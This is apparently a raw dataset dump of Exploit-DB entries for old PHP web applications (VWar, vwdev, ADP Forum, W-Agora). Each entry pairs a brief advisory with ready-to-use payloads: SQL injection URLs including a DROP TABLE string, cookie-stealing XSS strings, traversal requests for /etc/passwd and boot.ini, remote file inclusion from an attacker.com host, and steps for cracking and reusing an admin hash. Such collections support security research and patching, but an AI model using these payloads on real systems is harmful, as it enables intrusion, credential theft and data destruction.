deardaniel/secdata-raw huggingface dataset:
Exploit-DB #31716
Description: VWar 1.6.1 R2 - Multiple Remote Vulnerabilities
Type: webapps
Platform: php
Date: 2008-05-01
Author: Darren McDonald

Exploit:
source: https://www.securityfocus.com/bid/29001/info

VWar is prone to multiple remote vulnerabilities, including:

- Multiple HTML-injection vulnerabilities
- An SQL-injection vulnerability
- An unauthorized-access vulnerability
- A vulnerability that allows attackers to brute-force authentication credentials

An attacker can exploit these issues to compromise the affected application, gain unauthorized access to the application, execute arbitrary script code, steal cookie-based authentication credentials, access or modify data, or exploit latent vulnerabilities in the underlying database. Other attacks are also possible.

VWar 1.6.1 R2 is vulnerable; other versions may also be affected. 

  POST /vwar/article.php?rate=1 HTTP/1.1
   Host: mydomain.com
   User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.0; en-GB; rv:1.8.1.13)
Gecko/20080311 Firefox/2.0.0.13
   Accept:
text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
   Accept-Language: en-gb,en;q=0.5
   Accept-Encoding: gzip,deflate
   Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
   Keep-Alive: 300
   Proxy-Connection: keep-alive
   Referer: http://mydomain.com/vwar/article.php?articleid=1
   Content-Type: application/x-www-form-urlencoded
   Content-Length: 64

   ratearticleselect=5, article = char(78,71,83,32,84,69,83,84)
Exploit-DB #28327
Description: VWar 1.x - 'war.php' Multiple SQL Injections
Type: webapps
Platform: php
Date: 2006-08-03
Author: mfoxhacker

Exploit:
source: https://www.securityfocus.com/bid/19327/info
 
Vwar is prone to multiple input-validation vulnerabilities, including cross-site scripting and SQL-injection issues. These issues occur because the application fails to properly sanitize user-supplied input. 
 
A successful exploit of these vulnerabilities could allow an attacker to compromise the application, access or modify data, steal cookie-based authentication credentials, or even exploit vulnerabilities in the underlying database implementation. Other attacks are also possible.
 
http://www.example.com/vwar/war.php?s=[SQL]
http://www.example.com/vwar/war.php?page=[SQL]or[xss]
http://www.example.com/vwar/war.php?showgame=[SQL]
http://www.example.com/vwar/war.php?sortby=[sql]
http://www.example.com/vwar/war.php?sortorder=[sql]
http://www.example.com/vwar/calendar.php?year=[xss]
Exploit-DB #28326
Description: VWar 1.x - 'war.php?page' Cross-Site Scripting
Type: webapps
Platform: php
Date: 2006-08-03
Author: mfoxhacker

Exploit:
source: https://www.securityfocus.com/bid/19327/info

Vwar is prone to multiple input-validation vulnerabilities, including cross-site scripting and SQL-injection issues. These issues occur because the application fails to properly sanitize user-supplied input. 

A successful exploit of these vulnerabilities could allow an attacker to compromise the application, access or modify data, steal cookie-based authentication credentials, or even exploit vulnerabilities in the underlying database implementation. Other attacks are also possible.

Http://www.example.com/[Path]/war.php?page=[SQL] & [XSS]
Exploit-DB #27170
Description: vwdev - 'index.php' SQL Injection
Type: webapps
Platform: php
Date: 2006-02-08
Author: Omid Aghababaei

Exploit:
source: https://www.securityfocus.com/bid/16547/info

The vwdev application is prone to an SQL-injection vulnerability. This issue is due to a failure in the application to properly sanitize user-supplied input.

Successful exploitation can allow an attacker to bypass authentication, modify data, or exploit vulnerabilities in the underlying database implementation. Other attacks may also be possible. 

http://www.example.com/index.php?Page=definition&UID=2;[SQLINJECTION]
http://www.example.com/index.php?Page=definition&UID=2;Drop Table Docs; --
Exploit-DB #3053
Description: Vz (Adp) Forum 2.0.3 - Remote Password Disclosure
Type: webapps
Platform: php
Date: 2006-12-31
Author: 3l3ctric-Cracker

Exploit:
##########################################################################################################
#Sv(ADP) Forum 2.0.3 Remote Password Disclosure Vulnerablity                 
##########################################################################################################
#S.name:ADP Forum                                                            
#Affected version:2.0.3                                                      
#Download&Demo:http://www.linux.it/~fedro/index.php?pag=scripts&lang=en      
#Risk:Very Highly Critical                                                   
##########################################################################################################
#Author:Dr Max Virus                                                         
#Location:Egypt                                                              
##########################################################################################################
#POC:                                                                        
#http:/[target]/[path]/users/admin.txt                                       
#As We see Admin name and hash          !!!!!!!!!!!!!!!!!!!!!!!!!!
##########################################################################################################
#You can crack the password with any md5 encrypt                             
                             
#Or u can register and inject the info in any cookie editor can be in 
FireFox or Opera                   
##########################################################################################################
#Dork:ADP Forum 2.0.3 is powered by VzScripts                                
##########################################################################################################
#Thx:str0ke-koray-Timq-r0ut3r-mTk-nuffsaid-MrSwan-All Friends                
#Special Gr33ts:AsianEagle-Kacper-The master-Hotturk                         
##########################################################################################################

# milw0rm.com [2006-12-31]
Exploit-DB #31449
Description: W-Agora 4.0 - 'add_user.php?bn_dir_default' Remote File Inclusion
Type: webapps
Platform: php
Date: 2008-03-20
Author: ZoRLu

Exploit:
source: https://www.securityfocus.com/bid/28366/info

w-Agora is prone to multiple remote file-include vulnerabilities because it fails to sufficiently sanitize user-supplied data.

Exploiting these issues may allow an attacker to compromise the application and the underlying system; other attacks are also possible.

w-Agora 4.0 is vulnerable; other versions may also be affected.

http://www.example.com/w-agora_path/add_user.php?bn_dir_default=ZoRLu.txt?
Exploit-DB #31450
Description: W-Agora 4.0 - 'create_forum.php?bn_dir_default' Remote File Inclusion
Type: webapps
Platform: php
Date: 2008-03-20
Author: ZoRLu

Exploit:
source: https://www.securityfocus.com/bid/28366/info
 
w-Agora is prone to multiple remote file-include vulnerabilities because it fails to sufficiently sanitize user-supplied data.
 
Exploiting these issues may allow an attacker to compromise the application and the underlying system; other attacks are also possible.
 
w-Agora 4.0 is vulnerable; other versions may also be affected.

http://www.example.com/w-agora_path/create_forum.php?bn_dir_default=ZoRLu.txt?
Exploit-DB #31451
Description: W-Agora 4.0 - 'create_user.php?bn_dir_default' Remote File Inclusion
Type: webapps
Platform: php
Date: 2008-03-20
Author: ZoRLu

Exploit:
source: https://www.securityfocus.com/bid/28366/info
  
w-Agora is prone to multiple remote file-include vulnerabilities because it fails to sufficiently sanitize user-supplied data.
  
Exploiting these issues may allow an attacker to compromise the application and the underlying system; other attacks are also possible.
  
w-Agora 4.0 is vulnerable; other versions may also be affected.

http://www.example.com/w-agora_path/create_user.php?bn_dir_default=ZoRLu.txt?
Exploit-DB #31452
Description: W-Agora 4.0 - 'delete_notes.php?bn_dir_default' Remote File Inclusion
Type: webapps
Platform: php
Date: 2008-03-20
Author: ZoRLu

Exploit:
source: https://www.securityfocus.com/bid/28366/info
   
w-Agora is prone to multiple remote file-include vulnerabilities because it fails to sufficiently sanitize user-supplied data.
   
Exploiting these issues may allow an attacker to compromise the application and the underlying system; other attacks are also possible.
   
w-Agora 4.0 is vulnerable; other versions may also be affected.

http://www.example.com/w-agora_path/delete_notes.php?bn_dir_default=ZoRLu.txt?
Exploit-DB #31453
Description: W-Agora 4.0 - 'delete_user.php?bn_dir_default' Remote File Inclusion
Type: webapps
Platform: php
Date: 2008-03-20
Author: ZoRLu

Exploit:
source: https://www.securityfocus.com/bid/28366/info
    
w-Agora is prone to multiple remote file-include vulnerabilities because it fails to sufficiently sanitize user-supplied data.
    
Exploiting these issues may allow an attacker to compromise the application and the underlying system; other attacks are also possible.
    
w-Agora 4.0 is vulnerable; other versions may also be affected.

http://www.example.com/w-agora_path/delete_user.php?bn_dir_default=ZoRLu.txt?
Exploit-DB #31454
Description: W-Agora 4.0 - 'edit_forum.php?bn_dir_default' Remote File Inclusion
Type: webapps
Platform: php
Date: 2008-03-20
Author: ZoRLu

Exploit:
source: https://www.securityfocus.com/bid/28366/info
     
w-Agora is prone to multiple remote file-include vulnerabilities because it fails to sufficiently sanitize user-supplied data.
     
Exploiting these issues may allow an attacker to compromise the application and the underlying system; other attacks are also possible.
     
w-Agora 4.0 is vulnerable; other versions may also be affected.

http://www.example.com/w-agora_path/edit_forum.php?bn_dir_default=ZoRLu.txt?
Exploit-DB #31455
Description: W-Agora 4.0 - 'mail_users.php?bn_dir_default' Remote File Inclusion
Type: webapps
Platform: php
Date: 2008-03-20
Author: ZoRLu

Exploit:
source: https://www.securityfocus.com/bid/28366/info
      
w-Agora is prone to multiple remote file-include vulnerabilities because it fails to sufficiently sanitize user-supplied data.
      
Exploiting these issues may allow an attacker to compromise the application and the underlying system; other attacks are also possible.
      
w-Agora 4.0 is vulnerable; other versions may also be affected.

http://www.example.com/w-agora_path/mail_users.php?bn_dir_default=ZoRLu.txt?
Exploit-DB #31456
Description: W-Agora 4.0 - 'moderate_notes.php?bn_dir_default' Remote File Inclusion
Type: webapps
Platform: php
Date: 2008-03-20
Author: ZoRLu

Exploit:
source: https://www.securityfocus.com/bid/28366/info
       
w-Agora is prone to multiple remote file-include vulnerabilities because it fails to sufficiently sanitize user-supplied data.
       
Exploiting these issues may allow an attacker to compromise the application and the underlying system; other attacks are also possible.
       
w-Agora 4.0 is vulnerable; other versions may also be affected.

http://www.example.com/w-agora_path/moderate_notes.php?bn_dir_default=ZoRLu.txt?
Exploit-DB #31457
Description: W-Agora 4.0 - 'reorder_forums.php?bn_dir_default' Remote File Inclusion
Type: webapps
Platform: php
Date: 2008-03-20
Author: ZoRLu

Exploit:
source: https://www.securityfocus.com/bid/28366/info
        
w-Agora is prone to multiple remote file-include vulnerabilities because it fails to sufficiently sanitize user-supplied data.
        
Exploiting these issues may allow an attacker to compromise the application and the underlying system; other attacks are also possible.
        
w-Agora 4.0 is vulnerable; other versions may also be affected.

http://www.example.com/w-agora_path/reorder_forums.php?bn_dir_default=ZoRLu.txt?
Exploit-DB #34939
Description: W-Agora 4.1.5 - Local File Inclusion / Cross-Site Scripting
Type: webapps
Platform: php
Date: 2010-10-27
Author: MustLive

Exploit:
source: https://www.securityfocus.com/bid/44507/info

W-Agora is prone to multiple local file-include vulnerabilities and multiple cross-site scripting vulnerabilities because it fails to properly sanitize user-supplied input.

An attacker can exploit these vulnerabilities to view and execute local files within the context of the webserver process or to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may let the attacker steal cookie-based authentication credentials and launch other attacks.

W-Agora 4.1.5 is vulnerable; other versions may also be affected. 


http://www.example.com/news/for-print.php3?bn=x&key=[PII_REDACTED]%3Cscript%3Ealert(document.cookie)%3C/script%3E
http://www.example.com/news/for-print.php3?bn=%3Cbody%20onload=alert(document.cookie)%3E
http://www.example.com/news/login.php3?bn=x&loginform=%22%3E%3Cscript%3Ealert(document.cookie)%3C/script%3E
http://www.example.com/news/login.php3?bn=%3Cbody%20onload=alert(document.cookie)%3E 
'conf' folder:
http://www.example.com/news/for-print.php3?bn=1
http://www.example.com/news/login.php3?bn=1

Any folder (only on Windows-servers):
http://www.example.com/news/for-print.php3?bn=..\1
http://www.example.com/news/login.php3?bn=..\1
Exploit-DB #24650
Description: W-Agora 4.1.6 - 'a download_thread.php?thread' Cross-Site Scripting
Type: webapps
Platform: php
Date: 2004-09-30
Author: Alexander Antipov

Exploit:
source: https://www.securityfocus.com/bid/11283/info
 
Multiple vulnerabilities are reported to affect the application. These issues arise due to insufficient sanitization of user-supplied data. A remote attacker may leverage these vulnerabilities to carry out SQL injection, cross-site scripting, and HTTP response splitting attacks.
 
These issues were identified in W-Agora 4.1.6a, however, it is possible that other versions are also affected.

download_thread.php?site=support&bn=support_install&thread=[XSS code here]
Exploit-DB #24649
Description: W-Agora 4.1.6 - 'a forgot_password.php?userid' Cross-Site Scripting
Type: webapps
Platform: php
Date: 2004-09-30
Author: Alexander Antipov

Exploit:
source: https://www.securityfocus.com/bid/11283/info
 
Multiple vulnerabilities are reported to affect the application. These issues arise due to insufficient sanitization of user-supplied data. A remote attacker may leverage these vulnerabilities to carry out SQL injection, cross-site scripting, and HTTP response splitting attacks.
 
These issues were identified in W-Agora 4.1.6a, however, it is possible that other versions are also affected.

POST /forgot_password.php HTTP/1.1
Host: w-agora
Content-Type: application/x-www-form-urlencoded
Content-Length: 48
go=1&userid=[XSS code here]
Exploit-DB #24648
Description: W-Agora 4.1.6 - 'a redir_url.php?key' SQL Injection
Type: webapps
Platform: php
Date: 2004-09-30
Author: Alexander Antipov

Exploit:
source: https://www.securityfocus.com/bid/11283/info

Multiple vulnerabilities are reported to affect the application. These issues arise due to insufficient sanitization of user-supplied data. A remote attacker may leverage these vulnerabilities to carry out SQL injection, cross-site scripting, and HTTP response splitting attacks.

These issues were identified in W-Agora 4.1.6a, however, it is possible that other versions are also affected.

redir_url.php?bn=demos_links&key=[SQL]
Exploit-DB #22109
Description: W-Agora 4.1.6 - 'EditForm.php' Cross-Site Scripting
Type: webapps
Platform: php
Date: 2002-12-22
Author: xatr0z

Exploit:
source: https://www.securityfocus.com/bid/6464/info

W-Agora is a freely available, open source PHP forum software package. It is available for Unix and Linux systems.

A problem with W-Agora may make cross-site scripting attacks possible.

It has been reported that W-Agora has a vulnerability in the handling of script code. It is possible to format a malicious link containing arbitrary script code or HTML that when clicked on would execute in the security context of the vulnerable site. This would result in a browser security violation, and could lead to the theft of authentication cookies of administrators.

<URL:/editform.php?site=agora&blah=">Bug!>
Exploit-DB #22149
Description: W-Agora 4.1.6 - 'index.php?bn' Traversal Arbitrary File Access
Type: webapps
Platform: php
Date: 2003-01-13
Author: sonyy

Exploit:
source: https://www.securityfocus.com/bid/6595/info

A file disclosure vulnerability has been reported for W-Agora. It has been reported that W-Agora does not adequately sanitize some user-supplied input.

An attacker can construct a URL consisting of dot-dot-slash (../) character sequences to obtain access to files outside of the document root. It should be noted that only files accessible by the web server will be disclosed to the attacker. 

http://target/index.php?site=demos&bn=../../../../../../../../../../etc/passwd%00
Exploit-DB #22150
Description: W-Agora 4.1.6 - 'modules.php?File' Traversal Arbitrary File Access
Type: webapps
Platform: php
Date: 2003-01-13
Author: sonyy

Exploit:
source: https://www.securityfocus.com/bid/6595/info
 
A file disclosure vulnerability has been reported for W-Agora. It has been reported that W-Agora does not adequately sanitize some user-supplied input.
 
An attacker can construct a URL consisting of dot-dot-slash (../) character sequences to obtain access to files outside of the document root. It should be noted that only files accessible by the web server will be disclosed to the attacker. 

http://target/modules.php?mod=fm&file=../../../../../../../../../../etc/passwd%00&bn=fm_d1
Exploit-DB #24652
Description: W-Agora 4.1.6a - 'login.php?loginuser' Cross-Site Scripting
Type: webapps
Platform: php
Date: 2004-09-30
Author: Alexander Antipov

Exploit:
source: https://www.securityfocus.com/bid/11283/info
  
Multiple vulnerabilities are reported to affect the application. These issues arise due to insufficient sanitization of user-supplied data. A remote attacker may leverage these vulnerabilities to carry out SQL injection, cross-site scripting, and HTTP response splitting attacks.
  
These issues were identified in W-Agora 4.1.6a, however, it is possible that other versions are also affected.

POST /login.php HTTP/1.1
Host: w-agora
Content-Type: application/x-www-form-urlencoded
Content-Length: 89
loginform=1&redirect_url=1&loginuser=[XSS code here]&loginpassword=1
Exploit-DB #24651
Description: W-Agora 4.1.6a - 'subscribe_thread.php' HTTP Response Splitting
Type: webapps
Platform: php
Date: 2004-09-30
Author: Alexander Antipov

Exploit:
source: https://www.securityfocus.com/bid/11283/info
  
Multiple vulnerabilities are reported to affect the application. These issues arise due to insufficient sanitization of user-supplied data. A remote attacker may leverage these vulnerabilities to carry out SQL injection, cross-site scripting, and HTTP response splitting attacks.
  
These issues were identified in W-Agora 4.1.6a, however, it is possible that other versions are also affected.

/subscribe_thread.php?site=support&bn=support_in
Exploit-DB #21529
Description: W-Agora 4.1.x - Remote File Inclusion
Type: webapps
Platform: php
Date: 2002-06-10
Author: frog

Exploit:
source: https://www.securityfocus.com/bid/4977/info

W-Agora is prone to an issue which may allow an attacker to include arbitrary files located on a remote server. In particular, the 'inc_dir' variable found in a number of the W-Agora scripts defines the path to the configuration file. It is possible, under some configurations, for an attacker to specify an arbitrary value for the location of the configuration file which points to a file on a remote server.

If the included file is a PHP script, this may allow for execution of arbitrary attacker-supplied code.

http://[target]/include/oci8.php?inc_dir=http://www.attacker.com&ext=txt
Exploit-DB #26169
Description: W-Agora 4.2 - 'Site' Directory Traversal
Type: webapps
Platform: php
Date: 2005-08-18
Author: matrix_killer

Exploit:
source: https://www.securityfocus.com/bid/14597/info

W-Agora is prone to a directory traversal vulnerability. This issue is due to a failure in the application to properly sanitize user-supplied input.

An unauthorized user can retrieve arbitrary files by supplying directory traversal strings '../' to the vulnerable parameter. Exploitation of this vulnerability could lead to a loss of confidentiality. Information obtained may aid in further attacks against the underlying system; other attacks are also possible. 

http://www.example.com/w-agora/index.php?site=../../../../../../../../boot.ini%00
http://www.example.com/w-agora/index.php?site=../../../../../../../../etc/passwd%00
http://www.example.com/w-agora/index.php?site=../../../../../../../../etc/passwd
http://www.example.com/w-agora/index.php?site=%c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%afboot.ini
http://www.example.com/w-agora/index.php?site=../../../../../../../../boot.ini
Exploit-DB #27783
Description: W-Agora 4.2 - BBCode Script Injection
Type: webapps
Platform: php
Date: 2006-04-29
Author: r0xes

Exploit:
source: https://www.securityfocus.com/bid/17751/info

W-Agora is prone to a script-injection vulnerability. This issue is due to a failure in the application to properly sanitize user-supplied input before including it in dynamically generated content. 

W-Agora can be configured to send all user information in session data; if this is the case, then attacker-supplied HTML and script code would be able to access properties of the site, potentially allowing an attacker to steal cookie-based authentication credentials. Other attacks are also possible. 

This issue is reported to affect version 4.20; other versions may also be vulnerable.

[code]<b onMouseOver =eval(&#039;alert(/xss/)&#039;)>hi</b>[/code]